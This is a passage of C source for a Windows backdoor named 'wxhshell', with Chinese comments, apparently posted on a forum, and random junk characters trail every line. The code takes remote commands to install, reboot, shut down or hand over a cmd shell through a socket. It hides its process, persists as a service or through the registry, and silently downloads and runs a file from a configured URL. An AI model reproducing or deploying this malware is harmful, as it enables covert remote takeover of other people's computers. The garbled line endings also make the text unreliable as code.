  )p 2kx  
  // 帮助 (oxe'\  
  case '?': { .I<#i9Le  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |s=)*DZv  
    break; Bh<)e5lP:  
  } tKu'Q;J  
  // 安装 Y=\;$:L[  
  case 'i': { jgbE@IA@!'  
    if(Install()) cjp H hoW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-0RA~5z  
    else Q`'w)aV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g"^<LX-  
    break; 6Xbo:#  
    } $SA8$!:  
  // 卸载 {p-&8-  
  case 'r': { ^pIT,|myY7  
    if(Uninstall()) n}}$-xl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?u/RQ 1  
    else [ lW~v:W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E:!?A@Fy  
    break; M|6 l  
    } @WEDXB  
  // 显示 wxhshell 所在路径 [AA'Ko  
  case 'p': { *;5P65:u$>  
    char svExeFile[MAX_PATH]; 1#/>[B  
    strcpy(svExeFile,"\n\r"); #+>8gq^5  
      strcat(svExeFile,ExeFile); cA m>f[  
        send(wsh,svExeFile,strlen(svExeFile),0); rzsAnLxo  
    break; *#\da]"{  
    } o)GLh^g_I'  
  // 重启 R,>LUa*u  
  case 'b': { R utRA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Cs?FF@P  
    if(Boot(REBOOT)) Bs:INvhYW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ahv%Q%m%2  
    else { -C1,$mkj  
    closesocket(wsh); AU0pJB'  
    ExitThread(0); @|BaZq,g  
    } AXFQd@#  
    break; Y- esD'MD  
    } VB=$D|Ll  
  // 关机 dTcrJ|/Y  
  case 'd': { C+tB$yahO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RE 6d&#N  
    if(Boot(SHUTDOWN)) ]6#bp,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HtFc+%=  
    else { wA$ JDf)Vg  
    closesocket(wsh); jJc:%h$|2  
    ExitThread(0); !g=4\C`mY  
    } F5s Pd  
    break; J'4Pp<  
    } p(vmMWR!  
  // 获取shell &![3{G"+>l  
  case 's': { kMd1)6%6A  
    CmdShell(wsh); p`N+9t&I4  
    closesocket(wsh); fXD9w1  
    ExitThread(0); `-yo-59E[  
    break; Fp=O:]  
  } GP<PU  
  // 退出 [C@ |q Ah  
  case 'x': { jTHgh>n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' ?tx?t  
    CloseIt(wsh); !:BmDX[<n  
    break; rHngYcjR  
    } JO[7_*s  
  // 离开 skeH~-`M@  
  case 'q': { X?f\j"v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q7#Yw"#G!  
    closesocket(wsh); 5TynAiSD_>  
    WSACleanup(); e2F{}N  
    exit(1); HAKB@h)  
    break; E! "N}v  
        } !a9`]c  
  } CqFk(Td9-D  
  } +%sMd]$,n  
Gv\39+9 =  
  // 提示信息 $Sls9H+.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %r =9,IJ  
} ks19e>'5Q  
  } dQljG.PiK  
z ?L]5m` H  
  return; 5.M82rR; ~  
} }j`#s  
u; G-46  
// shell模块句柄 .(g"(fgF  
int CmdShell(SOCKET sock) )i/x%^ca$  
{ `=%mU/v  
STARTUPINFO si; )=TS)C4  
ZeroMemory(&si,sizeof(si)); EBMZ7b-7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i+@t_pxc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2'U+QK@  
PROCESS_INFORMATION ProcessInfo; sD=iHO Am  
char cmdline[]="cmd"; 2 Q}^<^r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h?7@]&VJ  
  return 0; :meq4!g{1  
} ?v,4seRuz  
H: rrY  
// 自身启动模式 tRYi q  
int StartFromService(void) ]@A31P4t|  
{ 5H!6m_,w  
typedef struct ,Pj UlcO_  
{ 6 K-jje;)  
  DWORD ExitStatus; 9s2 N!bx  
  DWORD PebBaseAddress; Y]neTX [ef  
  DWORD AffinityMask; AQgagE^  
  DWORD BasePriority; M _e^KF  
  ULONG UniqueProcessId; ~y" ^t@!E  
  ULONG InheritedFromUniqueProcessId; d)1Pl3+  
}   PROCESS_BASIC_INFORMATION; qr'P0+|~5  
^kh@AgG^  
PROCNTQSIP NtQueryInformationProcess; 5pz(6gA  
"t&_!Rm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /SKgN{tWe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |PutTcjQ  
3-4CGSX;X  
  HANDLE             hProcess; 4l~B/"}  
  PROCESS_BASIC_INFORMATION pbi; + 0 |d2_]E  
Om5+j:YM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XK,l9 {*  
  if(NULL == hInst ) return 0; vv^(c w>A  
rvETt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M ]uO%2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f0ME$:2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #G\;)pT  
E3d# T  
  if (!NtQueryInformationProcess) return 0; (0!U,8zz  
r8TNl@Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zd <8c^@  
  if(!hProcess) return 0; n]a/nv  
k*k 9hv?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eG08Xt |lc  
vJfj1 f  
  CloseHandle(hProcess); vI0::ah/  
2 `nOYK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |n*<H|  
if(hProcess==NULL) return 0; >*e,+ok  
7#9yAS+x(  
HMODULE hMod; 3-U@==:T  
char procName[255]; :GN7JxD#  
unsigned long cbNeeded; %bZ}vJ5b  
FWl'='5L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1%k$9[!l%  
MClvmv^  
  CloseHandle(hProcess); [fl^1!3{  
'bx$}w N  
if(strstr(procName,"services")) return 1; // 以服务启动 D/TEx2.=J3  
'/~j!H4q9  
  return 0; // 注册表启动 `uLH3sr  
} /><+[\q4LM  
?n V& :~eY  
// 主模块 r0fEW9wL  
int StartWxhshell(LPSTR lpCmdLine) " twq#Alx  
{ > ?<C+ZHh  
  SOCKET wsl; _'"$,~ZWY  
BOOL val=TRUE; %eQw\o,a  
  int port=0; ]}HuK#  
  struct sockaddr_in door; ~E*`+kD  
:8jaW?~  
  if(wscfg.ws_autoins) Install(); Gk2R:\/Y  
(|_N2R!  
port=atoi(lpCmdLine); w//L2.  
f]37Xl%I  
if(port<=0) port=wscfg.ws_port; 2SlOqH1  
-9> oB  
  WSADATA data;  g1B[RSWv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C3z#A3&J  
lCC(N?%Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qz9*o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^L +@oS  
  door.sin_family = AF_INET; 3gNVnmZG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < rqFBq 8  
  door.sin_port = htons(port); 4;.y>~z  
0tyS=X;#e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \g<=n&S?  
closesocket(wsl); W*/0[|n*  
return 1; L-QzC<[F/  
} ;!H|0sv  
b$k|D)_|  
  if(listen(wsl,2) == INVALID_SOCKET) { Cp[ NVmN  
closesocket(wsl); j& ~`wGM  
return 1; 6|AD]/t^K  
} YH^h ?s  
  Wxhshell(wsl); mH\eJ  
  WSACleanup(); LH]<+Zren  
l-G] jXu  
return 0; S=.7$PY  
NQ"`F,T  
} \.,qAc\[  
w\QMA3  
// 以NT服务方式启动 SFQYrY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h(1o!$EU2  
{ =vc8u&L2  
DWORD   status = 0; `R+I(Cb  
  DWORD   specificError = 0xfffffff; \C eP.,<  
>Qg 9KGk'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W]U}, g8Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @Wb_Sz4`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2qkZ B0[  
  serviceStatus.dwWin32ExitCode     = 0; o2 vBY]Tj  
  serviceStatus.dwServiceSpecificExitCode = 0; !Ey=  
  serviceStatus.dwCheckPoint       = 0; 3HI- G.]hC  
  serviceStatus.dwWaitHint       = 0; \WN ,.  
c>3AR17+5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;LjTsF'  
  if (hServiceStatusHandle==0) return; gV\{Qoj  
t/`~(0F  
status = GetLastError(); P/hV{@x  
  if (status!=NO_ERROR) p3R: 3E6p  
{ KqNbIw*sR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,2C{X+t  
    serviceStatus.dwCheckPoint       = 0; isiehKkD  
    serviceStatus.dwWaitHint       = 0; q+}KAk|]V  
    serviceStatus.dwWin32ExitCode     = status; 7Fd`M To  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4' MmT'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z2cumx(  
    return; -4IHs=`;I  
  } /suW{8A(E  
eKw!%97>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #lld*I"d  
  serviceStatus.dwCheckPoint       = 0; b)1v:X4Bv=  
  serviceStatus.dwWaitHint       = 0; F\G-. 1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qVDf98  
} zA g.,dA  
j[e<CGZ  
// 处理NT服务事件,比如:启动、停止 &?)? w-$p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |0Y: /uL#)  
{ *`g'*R  
switch(fdwControl) p6Ie?Gg  
{ P56B~M_  
case SERVICE_CONTROL_STOP: 6 J B"qd  
  serviceStatus.dwWin32ExitCode = 0; 5zf bI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "xK#%eJjWd  
  serviceStatus.dwCheckPoint   = 0; PDi]zp9>H  
  serviceStatus.dwWaitHint     = 0; xB<^ar  
  { q<Sb>M/\,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NZW)$c'  
  } .%x%b6EI  
  return; :Ou[LF.O  
case SERVICE_CONTROL_PAUSE: b:6NVHb%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7XU$O$C  
  break; 3<%ci&B  
case SERVICE_CONTROL_CONTINUE: Wq}Y|0c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a F!Im}  
  break; |@*3 nb8  
case SERVICE_CONTROL_INTERROGATE: i] I{7k  
  break; +$;* "o  
}; ]o<&Q52|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); , R;k>'.  
} :Q-QY)hH  
=Sp+$:q*  
// 标准应用程序主函数 mQka?_if)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 92 oUQ EK  
{ mNk@WY_F  
# X`t~Y'  
// 获取操作系统版本 $3'xb/3|  
OsIsNt=GetOsVer(); N7 ox#=g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KKcajN  
h; "pAE  
  // 从命令行安装 /a7N:Z_Bz  
  if(strpbrk(lpCmdLine,"iI")) Install(); vXLGdv::  
~4V-{-=0a7  
  // 下载执行文件 fG_<HJS(~  
if(wscfg.ws_downexe) { !+V."*]l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dzRnI*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7zcmv"`  
} ;#XF.l,u  
$No^\.mV  
if(!OsIsNt) { h2P&<ggqX  
// 如果时win9x,隐藏进程并且设置为注册表启动 o5;|14O  
HideProc(); O/b1^ Y   
StartWxhshell(lpCmdLine); k((kx:  
} 1/tyne=m  
else "%rzL.</  
  if(StartFromService()) Z/e^G f#i  
  // 以服务方式启动 [U@ ;EeS  
  StartServiceCtrlDispatcher(DispatchTable); ZE[NQ8  
else 9l<}`/@}W  
  // 普通方式启动 JE_GWgwdv  
  StartWxhshell(lpCmdLine); aHkt K/  
-,qGEJ  
return 0; u-u:7VtH0=  
}
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只看该作者 1 发表于: 2006-10-10
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